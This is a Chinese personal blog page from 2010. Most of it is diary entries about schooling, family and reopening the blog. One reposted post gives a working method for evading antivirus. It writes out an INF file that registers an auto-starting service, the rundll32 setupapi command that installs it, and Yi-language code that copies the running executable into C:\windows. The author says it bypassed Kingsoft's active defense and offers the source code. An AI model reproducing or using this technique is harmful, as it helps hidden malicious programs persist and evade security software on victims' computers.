重新开放博客啦

2010-7-31 王健宇

我不应该这样子!得面对,网络是自由的,不能因为一点事而把我的心血全部毁掉!想好了!重新开放博客

标签: 重开博客 网络自由

评论(1) 浏览(2735)

转:利用INF安装服务启动 及 浅析瑞星行为检测、360主动防御(最后为本人看此文的免杀思路)

2010-7-27 王健宇 转载

看完此文后写写我看后的想法。

首先谢谢本文作者给我提供了一个这么好的免杀思路,今天我测试了一下金山,过了主动防御,我等下会去测试瑞星和360。应该过的。

我的思路是这样子的,我只会易语言,就说说用易语言编写怎么过

首先我们新建一个文件

test.inf

[Version]
Signature="$WINDOWS NT$"

[DefaultInstall.Services]
AddService=Xiaoyu,,Add_Evil_Service ;服务名称

[Add_Evil_Service]
DisplayName=Xiaoyu ;显示名称
Description=Xiaoyu ;服务描述
ServiceType=0x10 ;服务类型
StartType=2 ;启动类型
ErrorControl=0 ;错误控制
ServiceBinary=cmd.exe /c start C:\windows\Xiaoyu.exe ;服务要加载的exe文件路径

 然后把该文件添加到易语言的资源表,在图片或图片组新建一个图片1,__启动窗口_创建完毕后执行如下代码:

写到文件(“c:\test.inf”,#图片1)

运行(“rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 C:\test.inf ”)

复制文件 (取运行目录 () + “\” + 取执行文件名 (), “c:\windows\xiaoyu.exe”)

这样便成功添加一个系统服务项,每次开机都会自动运行!哈哈、我的思路到此为止,各位有别的语言的免杀思路请分享下。

附件有易语言源代码

阅读全文>>

评论(0) 浏览(9665)

自嘲(八)…

2010-7-27 王健宇 日志

一个人在世上活着不是为了如同机器一样的读书,读那么多书还不就是为了以后为社会为国家多做贡献?同时也是为自己将来好过一些,道理谁都懂。也不是说不读书,我只想说,对于我这样活泼爱动的学生如今的教育是教不好我的。(未完待续)

评论(0) 浏览(2987)

自嘲(七)…

2010-7-27 王健宇 日志

写着写着就怀念以前去了,其实我想说的就是做爸妈的是读书过来的,想让子女比他们强,读更多的书,如此循环,循环就死循环了。我有很多梦想,很多很多,不是忘了,就是不了了之,到如今,都杯具了,我们这一代都没有了梦想,被书压着。(未完待续)

评论(0) 浏览(2832)

自嘲(六)…

2010-7-27 王健宇 日志

那时候多么爱好啊~怀念与哥哥在一起的时光,现在他去当兵了,只有我一个人了。呵呵、还记得那时候家里也不允许我们玩四驱车,我们每天放学了就偷偷玩,哥耳朵尖,听到声音就知道我爸妈回来了,马上收起车子摆好书本装模做样…(未完待续)

评论(0) 浏览(2817)

Powered by emlog sitemap